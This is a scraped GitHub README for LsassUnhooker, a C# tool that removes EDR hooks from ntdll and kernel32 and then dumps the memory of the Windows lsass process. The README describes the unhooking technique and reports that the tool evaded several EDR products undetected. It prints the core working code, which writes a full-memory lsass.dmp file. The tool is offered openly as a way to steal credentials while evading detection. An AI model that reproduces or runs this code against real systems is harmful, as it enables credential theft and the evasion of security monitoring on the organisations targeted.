Skip to content

Little program written in C# to bypass EDR hooks and dump the content of the lsass process

Notifications You must be signed in to change notification settings

roberreigada/LsassUnhooker

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 

Repository files navigation

LsassUnhooker

Little program written in C# to bypass EDR hooks and dump the content of the lsass process. The code makes use of SharpUnhooker.

SharpUnhooker's project, created by GetRektBoy724, works the following way:

  1. It reads and copies the .text section of the original (in-disk) DLL using "PE parser stuff"
  2. It patches the .text section of the loaded DLL using Marshal.Copy and NtProtectVirtualMemory from D/Invoke (to changes the permission of the memory)
  3. It checks the patched in-memory DLL by reading it again and compare it with the original one to see if its correctly patched.

By just using SharpUnhooker and the MiniDumpWriteDump function, I was able to bypass multiple EDRs and managed to dump the content of lsass without being detected. This is the code that does the trick:

SilentUnhooker("ntdll.dll");
SilentUnhooker("kernel32.dll");
String dumpFileName = Directory.GetCurrentDirectory() + "\\" + "lsass.dmp";
if (System.IO.File.Exists(dumpFileName))
{
	System.IO.File.Delete(dumpFileName);
}
IntPtr hFile = NativeMethods.CreateFile(dumpFileName, NativeMethods.EFileAccess.GenericWrite, NativeMethods.EFileShare.None, lpSecurityAttributes: IntPtr.Zero, dwCreationDisposition: NativeMethods.ECreationDisposition.CreateAlways, dwFlagsAndAttributes: NativeMethods.EFileAttributes.Normal, hTemplateFile: IntPtr.Zero);
NativeMethods._MINIDUMP_TYPE dumpType = NativeMethods._MINIDUMP_TYPE.MiniDumpWithFullMemory;
var proc = Process.GetProcessesByName("lsass").FirstOrDefault();
var exceptInfo = new NativeMethods.MINIDUMP_EXCEPTION_INFORMATION();
var result = NativeMethods.MiniDumpWriteDump(proc.Handle, proc.Id, hFile, dumpType, ref exceptInfo, UserStreamParam: IntPtr.Zero, CallbackParam: IntPtr.Zero);
if (result == true) {
	Console.WriteLine("lsass process was successfully dumped in " + Directory.GetCurrentDirectory() + "\\" + "lsass.dmp");
}
else {
	Console.WriteLine("Error dumping lsass process");
}

Example bypassing Cylance

LsassUnhooker.mp4

About

Little program written in C# to bypass EDR hooks and dump the content of the lsass process

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages